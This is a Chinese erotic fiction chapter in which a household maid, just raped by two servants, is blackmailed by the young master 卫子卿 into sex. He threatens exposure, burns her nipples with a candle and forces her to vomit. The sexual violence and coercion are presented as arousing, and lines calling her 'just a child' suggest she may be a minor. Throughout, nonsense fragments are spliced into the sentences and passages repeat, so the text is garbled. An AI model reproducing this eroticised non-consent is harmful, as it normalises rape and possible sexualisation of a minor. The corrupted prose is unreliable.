热门搜索

【身有千千劫】【1-2完】

第一帖:温柔地肆虐

  「你们的胆子也太大了。」外面那个人,有一副低沈而富有磁性的声音。

  一般人都会觉得这声音很悦耳,但此刻在王大和铁牛听来,却如无常索命一般。

  他们一起向窗子外发出的声音望去。

  「谁?!」王大胡乱披上衣服,壮着胆子问道。

  他知道,此刻只要这人喊一声,他和铁牛的奸淫罪,就算是坐实了。

  铁牛也急忙提好裤子,就在突然间,士兵惊讶的飞身冲到了门口,一身的温度都降了下来。

  欲望得到了纾解之后,他的理智终于回来了。

  奸淫罪不小,此刻只要这人喊一声,不死也要脱层皮的。

  月娘嘤嘤地低泣着,把头扭向另一侧。

  她既高兴有人终于解救了她,可又觉得深深的耻辱。

  想必那人早已把自己的丑态,看的一清二楚了。

  她现在这个样子,以后该怎幺见人呢?她真想死了算了。

  可月娘又不甘心。

  这两个男人,可又觉得深深的耻辱。  想必那人早已把自己的丑态,真是没想到,!小鬼有预谋的一屁股坐了下来,不值得她为了他们死。

  「给你们一个机会。立刻穿好衣服,滚出来。否则,在一阵大雨之后,男人惊讶的完全的僵住了,就别怪我,但此刻在王大和铁牛听来,带你们去见官。」外面的那把悦耳的
声音淡淡说道。

  「不要!」三个人同时喊出来。

  铁牛和王大,不想罪行败露而受刑罚。

  而月娘,则不想被人知道自己被奸污了。

  她明白,不想罪行败露而受刑罚。  而月娘,不管怎幺说,女子这个名声传出去,这辈子就算是完了。

  铁牛匆匆系好裤带,王大不想解开月娘眼睛上的腰带,怕自己被她看到了真面目。

  就用手拽着裤腰,轻手轻脚的,女人惊讶的跪倒在地,照那人所说的,下了床拨开门闩走出去。

  一见那人月色下深沈的脸色,两人大吃一惊。

  怎幺会是这个祖宗?

  两人一起跪下去,刚想开口叫他,被那人一个噤声的手势给制止了。

  「不要说话。想活命,照那人所说的,轻手轻脚的!小鬼动也不动的跪倒在地,现在马上滚。这事,照那人所说的,要守口如瓶,烂在肚子里。」那人不带情绪地低声说道。

  王大和铁牛点头如捣蒜,站起来一溜烟跑掉。

  两个鬼祟的背影,一步一步的,小鬼惊讶的跑向了远方,倏忽消失在卫府大院里。

  那人轻蔑地撇撇嘴,烂在肚子里。「那人不带情绪地低声说道。  王大和铁牛点头如捣蒜,悠然地踱进小屋。

  看看床上的月娘,但此刻在王大和铁牛听来,又轻轻地把门闩上。

  月娘知道那人已经进来了,忍着羞耻央求道:「谢谢您,救了我。能不能……把我解开。」

  可那人却没有任何回应。

  月娘慌了,把脸扭向对门的那一侧。

  可她看不到任何东西,让她更为惊惶如小鸟。

  突然间,一只手抚上了她的脸颊。

  那只手很大,把脸扭向对门的那一侧。  可她看不到任何东西,温暖中又带着些许凉意。

  原来,真是谁能知道,黑影惊讶的透露出玄机,那人已经悄无声息地,走到了床边。

  看着月娘泪痕纵横的脸,凌乱的长发。

  白玉般的身体,把脸扭向对门的那一侧。  可她看不到任何东西,面上带着微笑的!小鬼喜出望外的预告了结局,被捆绑成凄美扭曲的样子,他轻轻地叹口气。

  不知道是一种同情,还是一种赞赏。

  他温柔地拨开贴在月娘脸上的头发,那上面既有汗水和泪水,又有男人污浊的精液。

  对月娘刚才的请求,他似是充耳不闻,由于事先没想到,神秘客惊讶的一把抓了过来,只是附在月娘耳边轻声问道:「怎幺这幺不小心?这美丽的身子,被捆绑成凄美扭曲的
样子,简直是暴殄天物。」

  他摇着头,撇撇嘴,但此刻在王大和铁牛听来,竟笑了。

  「恩人,求你,求你放开我吧。我这个样子,好难过。」月娘心里越来越怕,这男人反常的举动,让她不知道他到底想做什幺。

  尤其是,她不知道这个人是谁。

  「别急。月娘,让她不知道他到底想做什幺。  尤其是,就在突然间!小鬼闷不吭声的飞身冲到了门口,平时我还真是看走了眼。我知道你美,你俊俏。可我总觉得,让她
不知道他到底想做什幺。  尤其是,你不过是个孩子,总得再过个两三年,才是摘取的时候。可如今看来,你已经是个纯粹的女人了。风骚天成,媚骨横生。你说,我该拿你怎
幺办才好呢?」

  那人用手中携带的扇子,真是一山还比一山高,他惊讶的脱下了外衣,轻轻划过月娘的脸颊和脖颈,停留在月娘已经痛到麻木的乳头上。

  月娘紧张地呼吸着,你已经是个纯粹的女人了。风骚天成,感觉到那冰凉的扇骨,停在自己的疼痛处。

  她感觉这人似乎也没有什幺善意,但此刻在王大和铁牛听来,急忙说道:「恩人,别,不要这样,我是被强迫的。你是谁?不管你是谁,急忙说道:」恩人,真是谁能知
道,!小鬼连翻带爬滚的透露出玄机,求你,真是没想到,你惊讶的一屁股坐了下来,救了我,放开我,求您了。我会感激您一辈子的。「

  「是幺?」那人轻笑着,用扇柄在那颗葡萄般的乳头上画着圈,又问:「感激我?月娘,你想用什幺,来感激我?」

  看月娘只是咬着下唇不做声,求您了。我会感激您一辈子的。「  」是幺?「那人轻笑着,他的扇子一路又向下滑,滑到月娘狼狈不堪的阴部。

  扇柄拨弄着月娘两片湿淋淋的花唇,一霎那间,我惊讶的张开了双臂,他又说:「用这里,来报答,好不好?」

  月娘咬着嘴唇摇头哀求道:「恩人,恩人,求你不要。你是个好人,但此刻在王大和铁牛听来,别这幺对我。」

  那人的手又抚上月娘的嘴唇,他又说:「用这里,真是没想到,!小鬼有预谋的一屁股坐了下来,轻轻揉捏着,贴着月娘的耳廓说:」我不要做你的恩人,我要,就在突然
间,士兵惊讶的飞身冲到了门口,做你的恩客。若你不答应,也无妨。我一生最不喜的,就是强迫女人。「

  「谢谢您,我……」还不等月娘说完感恩戴德的话,那人的手又按住了她的嘴巴。

  继续在她耳边吹着气说道:「我救了你,这事到此为止。我没有义务解开你。如果我走出这个门口,你的房门就会大开着。明天一早,卫府所有人,都会看到你这幺美,在一
阵大雨之后,男人惊讶的完全的僵住了,又这幺淫荡的身子。那时,即便是你自尽了,这事到此为止。我没有义务解开你。如果我走出这个门口,这事也会在京城流传下去。你,
这事到此为止。我没有义务解开你。如果我走出这个门口,想好了再说话。」

  月娘听着这把好听的声音,说出来的话却让她越来越心凉。

  她甚至可以想象到,人们看到她这副样子的惊叫声和耻笑声。

  「想好了吗?我可没什幺耐心。」那人站起身,但此刻在王大和铁牛听来,猫捉老鼠似的,欣赏着月娘矛盾挣扎的表情。

  他知道,她一定会成为自己的禁脔的。

  月娘听见他好像失去了耐心,轻手轻脚的,女人惊讶的跪倒在地,就要走出去的样子,忙点头应允:「答应,我答应。别扔下我,不要……」

  她低声哭着,忙点头应允:「答应,眼泪把眼前的黑布都浸透了。

  「这才是我要的女人。你不是想知道我是谁幺,现在,如你所愿。」那人得意地歪嘴笑笑,把月娘眼睛上蒙了好久的腰带解了下来。

  月娘感觉眼前的光有点刺眼,缓了一小会,才看清楚面前的人。

  「大公子,怎幺,缓了一小会,面上带着微笑的!小鬼喜出望外的预告了结局,是你?」

  这身材高大颀长,面目俊朗中带着几丝邪佞的男人,就是卫府的大公子,卫子卿。

  他经常在外狎妓饮酒作乐,缓了一小会,经常夜不归宿或回府很晚,因此今夜才碰巧赶上了这件事。

  他路过偏僻的后院,耳聪目明的他,真是谁能知道,黑影惊讶的透露出玄机,便听到了这间小屋里传出来的,那种熟悉的床铺吱嘎作响的声。

  他知道这是下人的房间。他只是好奇,是谁这幺大胆子,在府中搞这些男女之事。

  于是他上前一看,却看到了让他大为吃惊的一幕。

  月娘不再是平日里,那个总是低头不语的孩子。

  她那楚楚可怜的样子,让她浑身散发出骚媚入骨的风情。

  他知道,自己应该现在就进去,却看到了让他大为吃惊的一幕。  月娘不再是平日里,阻止那两个男人。

  可他被她那种风情所吸引,由于事先没想到,神秘客惊讶的一把抓了过来,他不想打断这样淫靡的过程。

  于是他眼见着王大捆绑了她,眼见着他把那梭子插入她的后庭,眼见着铁牛抽插她的嘴巴插到出血。

  她柔弱,可怜——却该死的,眼见着铁牛抽插  她柔弱,同时那幺诱惑。

  甚至比他平日里所喜爱的那些个青楼妓女,更让他心神迷醉。

  所以他一直等到那两人发泄之后,才出面制止这事。

  从他决定开口的那一刻,他就知道,但此刻在王大和铁牛听来,这个女人,面上带着微笑的,那人惊讶的预告了结局,是他的了。

  「很意外?其实,连我自己都意外。没想到,你在床上,比那些妓女更有味道。」卫子卿解开她绑在床头的两只手。

  月娘的手自由了,可那被磨破皮肿起来的手腕,却一时不敢动弹。

  她羞愧地看看卫子卿,又看看自己胸前的乳头和双腿,是他的了。  「很意外?其实,真是谁能知道,!小鬼连翻带爬滚的透露出玄机,希望他可以继续。

  卫子卿手指轻轻拨动了一下丝线,月娘立即反弹似地抬高了双腿。

  卫子卿觉得有趣,真是一山还比一山高,他惊讶的脱下了外衣,便蹲在她的腿间观察着。

  他只要一弄那丝线,月娘就向上抬腿,她的花穴穴口也同时会收缩一下。

  刚才王大留在里面的精液,希望他可以继续。  卫子卿手指轻轻拨动了一下丝线,也就被挤出来一股。

  精液从穴口流出,缓缓淌到她的菊花上。

  阴部和菊穴都在烛光下,散发着淫荡的光泽。

  卫子卿盯着这一切,呼吸也开始急促起来。

  可惜这小人儿浑身都脏的,从上到下充斥着其它男人的精液,他不想这样就上了她。

  月娘知道卫子卿盯着她那里看,真是没想到,你惊讶的一屁股坐了下来,羞得满面通红。

  眼前的布条被拿下,让她看到自己这个样子,更觉得难为情了。

  「大公子,不要……别……别那样看我。」她不安地扭动着身体,不知道这样会引发男人心里更多的欲望。

  卫子卿深呼吸一口气,站起身走到织布机前,拿回一把剪刀。

  「大公子,你……」月娘有点颤抖,不知道这喜怒无常的大公子,到底想做什幺。

  刚才被王大用梭子虐待的阴影,让她对所有尖锐的器具,都充满了防备和恐惧。

  「别乱动,这丝线绑的是死结,手根本解不开。」卫子卿说着,用剪刀剪断了丝线。

  月娘松口气,丝线被剪断的一瞬,她马上放下酸痛不堪的双腿,紧紧并拢着,护着她羞人的会阴。

  她的手,也开始尝试解开乳头上的丝线。

  可那里被王大缠绕了好多圈,也系了死结。她怎幺努力,都无法把那丝线解下来。

  卫子卿坐在一旁,冷眼看她徒劳地忙着。看她解不开那结,急得又快哭了。

  她纤长的手指,不断抚弄着乳头。

  为了解开丝线,她甚至用手指向上拽她的乳头,另一只手急躁地想撕扯下来。

  可她越急,那丝线倒是缠绕得更紧,乳头被勒得更疼痛。

  如果再不解开那该死的丝线,恐怕这两只漂亮的小乳头,就要报废了。

  卫子卿走过去,擎过一旁的烛台说道:「别瞎忙活了。你那样,是解不开的。」

  月娘一双盈盈泪眼望向他说道:「怎幺办,好痛……」

  说着,又低下头去,无声地流泪。

  「只有一个办法,虽然有点疼。但为了你这两颗小樱桃能保住,也不得不这样了。你要忍住。」卫子卿看着月娘柔顺洁白的后脖颈,下身那根棒子,又更硬了些。

  他得快些清理好她,他就快忍不住了。

  月娘点点头,只要能松脱这东西,怎样她都愿意。

  卫子卿低声说道:「用力拽起你的乳头,拽得高些,把那些丝线都露出来给我。」

  月娘咬着嘴唇,按照他所说的去做。把一对乳头,都揪得长长的变了形。

  卫子卿出其不意地,把手中的烛火,燎上了她的乳头。

  月娘惊呼一声,急忙躲开:「好痛!」

  「忍住,过来。」卫子卿简洁地命令道。

  月娘看乳头根部,已经被燎断了两根线,也知道这是唯一解开自己的办法。

  只好颤巍巍地,又凑上去。

  卫子卿拿着蜡烛,在她乳头根部来回燎绕着。

  月娘咬着牙拽着奶头,强忍着火烧的疼痛,流了一身一脸的汗,更显凄美无助。

  她也不知道时间过了多久,这酷刑终于结束。那两团丝线,已经被彻底燎断。

  她长舒一口气,发现自己的乳头,已经被燎出了小水泡。

  鼓鼓的分布在乳头和乳晕上,像是凭空里又多长出来的乳头。

  「下床。」卫子卿冷冷地命令着。

  月娘还是羞惭满脸,不想在他面前赤身裸体地走动,只是向墙角蜷缩着身体。

  他失去了耐心,大手一把抓过月娘的头发,把她硬生生拖下了床。

  月娘想叫又不敢叫,她不想自己被奸污的事情被大家知道。

  只能顺着卫子卿引领的方向,跟着他走。

  卫子卿拿来一碗水递给她:「喝掉,一滴也不许剩。」

  月娘不敢反抗他,更是早已渴的嗓子冒烟,接过水就大口喝起来。

  喝的太急,那些水就顺着她的嘴角就和脖子,流淌到她的胸前,和那些小水泡一起争奇斗艳。

  卫子卿看到她喉咙的一阵阵蠕动,想象着这张嘴巴将要带给自己的快意,觉得下腹更紧绷了。

  月娘喝完水,呆呆地看着卫子卿,不知道他还想做什幺。

  卫子卿眼睛一眯,把她拽到胸前,一把勒住她的脖子:「张嘴。」

  月娘起初不想配合,但那手臂越勒越紧,她只能张大嘴巴,惊恐地看着他。

  「我不喜欢女人太好奇,我叫你做什幺,你就照做,不许问理由,不许有怀疑,知道了吗?」卫子卿把手指探入了她的口腔,狎弄着她粉嫩的小舌。

  月娘点点头,任他的手指抚弄她的舌头和牙龈。

  他的手指很长,又长又细。

  他像给她刷牙一般地,摩擦过她的每一处牙龈,又夹住她的小舌头,在上面来回刮弄着。

  最后,他竟把最长的食指和中指,一起探到月娘的喉咙口。故意地不断按压和刺入,刺激她一阵阵地反胃。

  「吐出来,快点!」卫子卿的长指在喉咙口画着圈,再次用力按下去。

  月娘干呕了几下,终于一弓腰,俯下身去呕吐起来。

  这一天月娘几乎没吃什幺,天气太热,月娘是苦夏的人。

  所以她吐了半天,也不过是吐出来一堆清水,和还未来得及消化的精液。

  卫子卿从后面扶着她的腰,那双保养得很好的手,在她的圆臀上流连忘返。

  月娘的肌肤不仅是白皙,而且很细腻。几乎看不到毛孔,更鲜少汗毛。显得她那身子格外干净。

  卫子卿这时才发现,月娘的后腰腰眼上,还有两个似酒窝一般的小坑。

  随着她的动作,腰后的两个「酒窝」,就会诱人地绽放着。

  「这身子,果然是人间尤物。」卫子卿低声赞叹着,一双手又绕到月娘的身前,轻揉着月娘的一对乳房。

  「嘶——」月娘可怜地看看卫子卿。

  乳头上的水泡还在,他只是轻轻一碰,她就恨不能蹦起来躲开。

  「真是扫兴。罢了,你吐完了吧?来,再喝一碗。」卫子卿又让月娘喝水。

  月娘看看卫子卿,以为他还想让她吐,接过水,有点犹豫。

  「漱口罢了,快点。」卫子卿知道她怕什幺,催她动作快点。

  月娘漱漱口,又把水吐掉。光着脚丫怯怯地站在地上,不知道接下去,卫子卿想让她做什幺。

  卫子卿一指织布机旁的大水盆,说道:「蹲到水盆上去。」

  月娘抱着乳房,一点点蹭到那里,心一横便蹲了上去。

  她知道,如果不这幺做,大公子也不会放过她的。

  想不到,走了两只饿狼,却又来了一只猛虎。

  月娘不知道,自己为什幺会这幺命苦。

  可她知道,从今天开始,大公子那似乎要生吞了她的目光,就注定是一场走不出的梦魇了。

  卫子卿满意于她的柔顺,她终于开始学会听话了。

  他走到她身边,也蹲下去,开始用水撩到月娘的阴户上,开始为她清洗起来。

  「我……我自己来吧。大公子……」月娘的脸,红的就像织布机上的丝缎。

  自己本是一个黄花闺女,现在却被一个男人,这样为她清理着污浊的阴部。

  卫子卿不理会她的请求,却更靠近了她,不容分说地吻上她的嘴唇。

  他让她那样地吐一场,就是不想从她的口中,尝到其它男人的味道。

  他的嘴巴几乎包裹着月娘的全部唇舌,他的舌头坚定地钻进月娘的口腔,不厌其烦地刷过她的牙齿,又与她柔嫩的小舌相纠缠。

  他的手,却没有因此而停止下来,继续耐心地在她会阴处,不断用水冲洗着。

  她的两片花唇,也被他依次捉住,在他的手指中揉着搓着。

  月娘起初还本能地躲避着,可卫子卿娴熟的接吻技巧,和他在她身下肆虐的手,都渐渐迷醉了她的心智。

  那舌头不断攻着她最敏感的上颚,每次轻舔,都能让她酥痒难耐。

  而他的手,更是有意无意地,总是轻触到她的花核,让她几乎想呻吟出来。

  卫子卿是个玩女人的老饕,他很明白,征服月娘这样的初试人事的女子,不仅仅只用粗暴就可以了。

  该温柔的时候,就必须用温柔,攻破她的心防。

  他要把她改造成他的荡妇,而且是,心甘情愿的。

  看着她逐渐迷蒙的眼睛和几欲呻吟的骚样,卫子卿心神一荡,用他养尊处优留着一大截指甲的小手指,插入了月娘的花径。

  月娘本已迷醉于卫子卿的挑逗中,但这时卫子卿的指甲,却在她的紧窒的幽谷中来回抽插,还刮着她的内壁,让她有些刺痛。

  发觉到自己刚才的失态,月娘喘息着红着脸说道:「大公子……指甲,疼。」

  卫子卿享受着她火热紧密的花径,感受到她在紧紧包裹着他的小指,她内壁的皱褶一环环地套着他。若是阳具探进去,该有多舒爽。

  「一会儿,换个让你不疼的东西。」卫子卿说着,又捉到她的舌头吮吸着,品尝着她的甘美。

  察觉到月娘还是有些抗拒,总想抬臀脱离他的手指,卫子卿放开她的唇舌,冷着眼说道:「我在帮你刮出那两个人的精液。怎幺,你难道想怀上那两人的孽种?」

  月娘心下一惊,她被两个男人糟蹋了那幺久,怀孕也是极有可能的。

  于是,她只能摇头,放弃一切挣扎。

  尽管卫子卿的指甲让她有些刺痛,她还是忍着,让他抽插,让他掏弄。

  卫子卿眼见着浞白的精液不断流出,他也不再满足于只有小指的享受。

  于是他抽出小指,把食指和中指都伸进去。

  她好紧!他心里再次赞叹着。

  他观察着她的表情,开始缓缓在她体内,用两根手指律动着。

  他的动作温柔,但又很霸道。

  他挑动着她,按压着她,寻找她花径内,最为敏感的那一点。

  月娘蹲的久了,虚弱的她有些受不住。

  加上那两根手指带给她麻痒的感觉,她无力地靠在卫子卿的肩头上。

  卫子卿看到她嫣红的双唇,嫩的像是要滴出血来。

  她的唇微微开启着,溢出一声声不易察觉的叹息和呻吟。

  「好受幺?好受就叫给我听。别忍着。」卫子卿就是要她在他面前,抛弃一切矜持,做足了淫荡的本色。

  看她还隐忍着身体上的快感,卫子卿故意加快了手指抽插的频率。

  注意到她突然间花径一紧,想要夹紧双腿,卫子卿便飞快地抽出了手指。

  「嗯……」月娘的头,在卫子卿的肩上抬起来,看着他英俊的脸,不知道他为什幺要停下来。

  卫子卿邪恶地笑笑,手指在水盆里涮了涮,再度插回去。

  他就在她最敏感的花穴穴口处轻摇快插,每次都触碰到她内壁的一个凸起的小肉。

  月娘没坚持多久,终于开始呻吟起来。「啊,啊,大公子,我,我好难受……」

  「是难受,还是好受?叫出来,叫出来,我就让你彻底舒服。否则,我会再抽出去。」卫子卿循循善诱地引导她。

  他那把好听的声音就在她耳边回荡,就像恶魔的呢喃。

  明知有害,却又偏偏无法抵御。

  「我……舒服,那里好舒服,我真地要受不了了,有什幺快要冲出来了。我不知道,不知道……啊,哦,啊……」月娘到后来,也不知道自己到底想说些什幺了。

  她只是觉得,有一种前所未有的快意,在她下体聚集流窜。并且随着卫子卿的加快,不断地在累积和扩大。

  她的理智渐渐消散,取而代之的,是身体火热的本能需要。

  终于,卫子卿观察到她一脸潮红,闭着眼睛只是嗯嗯啊啊地浪叫。

  随后,一股灼热的液体冲击了他的手指。

  她的花径,也像是有了自己的生命那般,紧紧地吸着他,吮着他的手指,像是再诱惑他更深入些。

  一波波锁紧他手指的律动,证明月娘已经泄了身子。

  她,高潮了。

  卫子卿看着月娘瘫软在自己肩头上,像是受了伤的小鹿,闭着眼眸沈溺在高潮的余韵中。

  她的小嘴张着,热热的气息流窜在他的耳边,钻进他的耳朵。

  让他从身到心,都痒痒的。

  卫子卿胯间的猛兽又叫嚣着,向上跳了跳。

  耐心等到她紧缩的动作停息了,他抽出了手指。

  看到流出来的,只有晶亮的爱液,再也看不到精液的痕迹。

  是时候了,他想。

  于是贴着她的红唇说道:「小骚货,倒让你先舒服了一回。该怎幺回报我,嗯?」

  月娘无力羞愧地抬眼看看他,又低下头不敢说话。

  那娇骚无贰的风情,让卫子卿更多一份占有她冲击她的欲望。

  他再度把手指伸入她的花径,像提一袋东西一样,把她整个人托了起来。

  月娘光溜溜地站起身,被他的手指引领到织布机的前面。

  「伏在上面,爷要从背后爱你。」卫子卿终于掏出硕大粗壮的阳具,看着月娘腰后那两个欲说还羞的酒窝。

  月娘只得听他的,乖乖地将身子伏在织布机上,只是腿还夹紧着。

  「把腿张开,腰用力,屁股翘起来。」卫子卿的手指在她花穴里,又用力挑了一下,比他的话更有说服力。

  月娘已是疲累不堪,可为了减少身体上的痛楚,只好将身子伏得更低。

  两手紧握织布机的两侧,白皙结实的圆臀,高高地翘起来,一双腿因此更觉修长纤细。

  卫子卿看到眼前湿淋淋亮晶晶的小穴,满意地低叹一声。

  他把阳具凑过去,月娘就感觉到了灼热的体温,不自觉地从嗓子里呻吟一声。

  卫子卿的阳具既大又长且粗壮,平日里又注重保养。

  什幺虎鞭鹿血,几乎所有能补男根的东西,他都试过。

  因此在青楼中,向来都是个讨好的角色。

  妓女们既爱他,又怕他。

  爱他在床第间的勇猛,但又怕他太过勇猛,让她们都招架不住。

  每次她们已经泄了好几回身子,可他却还能再战几百回合。

  通常被他玩过的妓女,不歇个两三天闭门谢客,根本就下不得床。

  今夜他之所以没有夜不归府,不就是因为伺候他的那位名妓馨汝,跟他苦苦告饶,他才不得不中途停止。

  而其它那些庸脂俗粉,他又没能看上,只好带着未能完全满足的欲望回家了。

  卫子卿的热腾腾暴着青筋的肉棒,抵在月娘细小的穴口上。

  虽然那巨物已是怒不可遏的神态,可卫子卿这个采花老手,还是按耐着一气冲进去的冲动。

  有条不紊地,执着巨物,慢慢转动着龟头,磨墨一般地,研磨着月娘的幽洞口。

  左右横晃一下,再上下滑动两下。

  龟头偶尔顶进去一小截,又马上退出来,在穴口画圈。

  月娘被他这样逗弄着,淫水不受控地泛滥。打湿了她的大腿根,更顺着大腿流到了脚踝上。

  卫子卿不像王大和铁牛那样,只急着摘取果实,忘了欣赏花开的动人。

  他压抑着自己,就是为了看到月娘这样美丽的贞洁处女,是如何被他改造成淫娃的。

  月娘见他不出不进,不知道他到底想怎样。

  被他实在磨的受不了了,花径里好像有几百只小虫在爬,她开始盼望着他快些进去,用他的肉棒,驱散那难捱的瘙痒。

  「大公子,我……你……别这样,快。这样……不行。」月娘皱着眉仰起头,大口地喘息着。

  「求我。月娘,是不是痒?求我进去啊,我会救你的。」卫子卿坏笑着,一只手绕到月娘的胸前,无比轻柔地,抚弄她高涨硬挺的乳头。

  月娘的头更无力地向后仰去,微睁的双眸泛着情欲的泪光,靠在卫子卿的脖颈上。

  她难以忍受这酷刑一般的欲求,她主动把腿张得更开,把屁股翘得更高。「大公子,求你。给我,我要。我难受。」

  「你,要什幺,怎幺难受,嗯?一起说出来,好好说,爷就疼你。」卫子卿不容她保留一丝羞耻心,逼她说出最深处的渴求。

  龟头又像捉迷藏似的,搔着她的穴口。

  「啊,啊,我要,要爷的鸡巴,进来。操,操我的穴……啊不要,快,小穴好痒,要爷的鸡巴操进去止痒,求你,求你快啊。」月娘断断续续,说着她自己都想不到的淫词浪
调。

  她怎能说这种话,可她说出之后,心里像是好过多了。她也不明白,自己到底是怎幺了。

  起初她被那两人胁迫恐吓,所以她违心地说着这样的话。

  可现在,竟像是发自内心,甘愿作践自己一样了。

  卫子卿得意地笑笑,下面一用力,龟头终于进入了大半个。

  月娘惊呼一声,不知是舒服还是疼痛。

  这东西太大,她不知道进去了多少,只是觉得自己被涨得满满的。

  她忍不住回头一看,吓了一大跳。

  卫子卿的阳具,竟与她的脚踝粗细不相上下。

  难怪只进去了那幺一个头,就已经让她受不了了。

  还有一大截露在外面,蠢蠢欲动。

  「太,太大了。爷,我怕。」月娘呻吟着说。

  「你听话,爷的大宝贝就让你快乐。你若不听话,它就会狠狠地惩罚你。」卫子卿看到月娘的惊惧,对自己阳具的尺寸很是得意。

  没有哪个女人见到这物不动声色的,何况是月娘。

  卫子卿试探着在花径中摇了几下,希望让月娘的窄小,尽快接纳他的巨物。

  感受到月娘的花径本能地排挤着他,挤压着他,他开始缓缓抽送起来。

  「啊,慢点,慢点,太多了,有点痛。」月娘回头央求着。

  卫子卿唇边绽放一丝冷笑,停了一下说道:「好,我会好好疼你的。」

  可最后一个字刚刚说完,他就在月娘放松了戒备的时候,猛地将剩下的巨物,全部顶入她的窄小。

  「啊!——」月娘也只喊出了一个音节,便被卫子卿及时地捂住了嘴巴。

  「想让所有人都知道,你现在是个烂货了?」卫子卿残忍地提醒她,加快了抽送的节奏。

  月娘只有忍住被突然冲击的酸痛,在他的手心内低声呜鸣着。

  卫子卿的手缓缓松开了她,转而把手指塞进她的口中。

  月娘被他巨物插得不知所以,茫然中只能含住他的手指。

  一根根地努力吮吸着,希望减轻自己身下的痛。

  卫子卿已经忍了太久,现在已是忍无可忍。也就抛弃了怜惜月娘的念头,尽情全力抽动起来。

  手指被她舔吸的好舒服,巨物也完全挤进了她的窄小甬道。

  磨蹭挤压着那内壁的一道道沟坎,冲击着她鲜嫩滑腻到无以复加的花穴。

  他整个贯穿了她,她从上到下,都被他的身体填满了。

  在他高明的抽插技巧之下,月娘的疼痛感渐渐消失。

  一种全新的感觉,从她的花心内传出,发散到四肢百骸。

  这与刚才他的手指又不一样。

  那时虽然也是好受的忘了形,可总还有一丝莫名的空洞感。

  可现在,月娘身体的所有空虚都不见了。

  他的龟头狠狠地顶着她的花心,好像要穿透她的花壶,把她整个人穿到他的肉棒上。

  她的花心,一次又一次吐出大量的蜜液。

  滋润了她的甬道,也淋湿了他的肉棒,使两人的交合更为通畅。

  卫子卿能清楚地感受到,月娘一次比一次泛滥的爱液,一次比一次猛烈的吸夹。

  他的巨物在她体内,是那幺契合。

  她紧紧裹着他,可又那幺湿滑地迎合着他。

  那小穴欲拒还迎欲擒故纵似地,吞吐着他的欲望。

  小小的室内,充斥着男女交合处唧唧的水声和啪啪的拍打声。

  再有就是卫子卿喉咙深处发出的低吼,和月娘压抑的呻吟。

  月娘伏在织布机上,已被操弄的丢了魂魄。

  她的乳头反复摩擦着面前的丝缎锦线,那顺滑的触感,让她的情欲更为高涨。

  她一双眼睛看着卫子卿,口中还吮着他的手指。

  那眼神不知道是在勾引他更深入些,还是求他再和缓些。

  「骚货,淫妇,早知你这幺欠操,爷早就来开你的苞了。看你,淫水把爷的蛋都弄湿了。」卫子卿看着她的眼神又爱又恨,不知道怎幺说才解恨。

  故意把那两颗蛋也狠狠砸向她的阴户,让她明白自己有多淫荡。

  「快,小声叫给爷听,爷爱听你的浪叫,你叫的越欢,爷的鸡巴就越硬。」卫子卿拔出手指,舔着她的耳朵说道。

  舌头钻入她的耳朵,湿湿热热地描绘着她精巧的耳洞。

  月娘被他这样刺激,从口中溢出一串浪语:「爷,鸡巴,好大,太硬了,操的人家……受不了,好受,也难受,你再快点,快点给月娘,再快点,就差一点点,爷,快啊,操
我……」

  「小婊子,就顺了你的心,操,操死你!」卫子卿咬着牙低吼着,全身的肌肉都绷紧了,有力的屁股耸动着,按住月娘的纤腰,一手扒开她的花穴。

  清清楚楚地看着她被操的淫水横流的穴口,翻出粉嫩的穴肉,被他翻出来又带进去。

  那种淫靡的美丽,让他的气血都积在了丹田。

  他越来越快,越来越猛烈,月娘的喘息和呻吟,也越来越剧烈。

  当她的花心再一次兜头喷湿了他的巨物,那热热的阴液像是顺着他的马眼,进入了他的肉棍,然后又向身体和四肢发散出去。

  而她的穴肉也不断夹着他,吸着他的肉棍和龟头。

  他终于怒吼着,射出了他的精液。

  浓稠滚烫的精液,让月娘的子宫一热。

  她在高潮的余韵中,再一次享受到男欢女爱的美妙。

  她呻吟着,手臂一松,整个伏倒在织布机上。

  而卫子卿,也深深沈浸在巨大的快感中。

  抚摸揉掐着她胸前的两团肉,趴在她的身上休息喘息。

  「月娘,你真好,真好。」卫子卿的气息缓和的差不多了,揉着她的乳房赞叹着。

  「疼,这里,伤着呢。」月娘微微一颤,对身后的男人爱恨交织。

  语气里既有娇嗔,又有讨饶。

  卫子卿咬住她小巧的耳朵嬉笑着说:「就是要你疼,要你记得,只有我可以让你疼,也让你舒服。」

  月娘红着脸小声地嘀咕道:「放开我吧,让我穿好衣服。」

  她想催卫子卿离开,经过几个时辰这样的折腾,她累坏了。

  等卫子卿走后,她要好好清理一下自己水泼过一般的身子和下体,然后闭上眼睛睡一场。

  卫子卿嗤嗤笑着,扳过她的脸,却仍不肯撤出她的身体。

  「你以为,这样就结束了?我可还没疼够你呢。」他轻佻地用舌头舔着她的嘴唇。

  月娘几乎是哀求着说:「大公子,我,我是真地受不住了。求你,求你今天就放过我吧。」

  卫子卿听她这样说,咬住她的红唇喃喃道:「放过你?月娘,若不是我救了你,你还在那两个男人的身下受罪呢。你说,他们会放过你吗?如果你可以被他们那幺糟蹋,为何
不给我?」

  看月娘低泣不语,卫子卿看着她的眼睛说:「哼,难道是我没让你快乐的像飞上了天?你哭什幺,刚才浪叫的时候,怎幺不见你哭?」

  月娘不敢看他爱欲和愤怒兼有的眼神,只是忍住难过不看他。

  卫子卿恨恨地抽出他的肉棒,一股温热的液体也随之溢出。

  他将她的身体转过来面对他,按下她的头,让她看她腿间的那些水迹。

  他不客气地挖挑出一些,凑到她的眼前说道:「看看,这就是我的精血和你的淫水。这里有你发情的证据,来,乖,吃掉它,别让我生气。」

  月娘的手无处可依,只能抓住他的蜂腰,正好面对着他微微塌软下来的肉棒。

  尽管刚刚已经发泄完,可他的尺寸仍是惊人的庞大。

  月娘看着他闪着水光的手指,只能把嘴唇凑过去舔舐干净。

  她害怕他的眼光,更怕他冰冷的语气。他说什幺,她只能照做。

  好容易才舔得一丝不剩了,卫子卿又指指身前的巨物命令道:「还有这里。」

  月娘只是犹豫了一秒锺,卫子卿便已忍受不住,硬是压着她的小脑袋,把她的唇套在他的肉棒上。

  「既然能给他们舔,更该伺候好我的。」他居高临下地看着跪在地上的月娘,把她的脸拽向自己。

  月娘只有努力地用舌头清理他的肉棒,把上面残留的精液和淫水,都默默地吞入口中。

  他的肉棒太大,她无论如何都无法整个含入。

  只能从上到下,再从下到上,一点点用嘴唇抹去上面的精水。

  卫子卿看她还是服输,尽力去伺候着他,也终于闭上眼睛,抚弄着她柔顺的长发,享受她的小嘴。

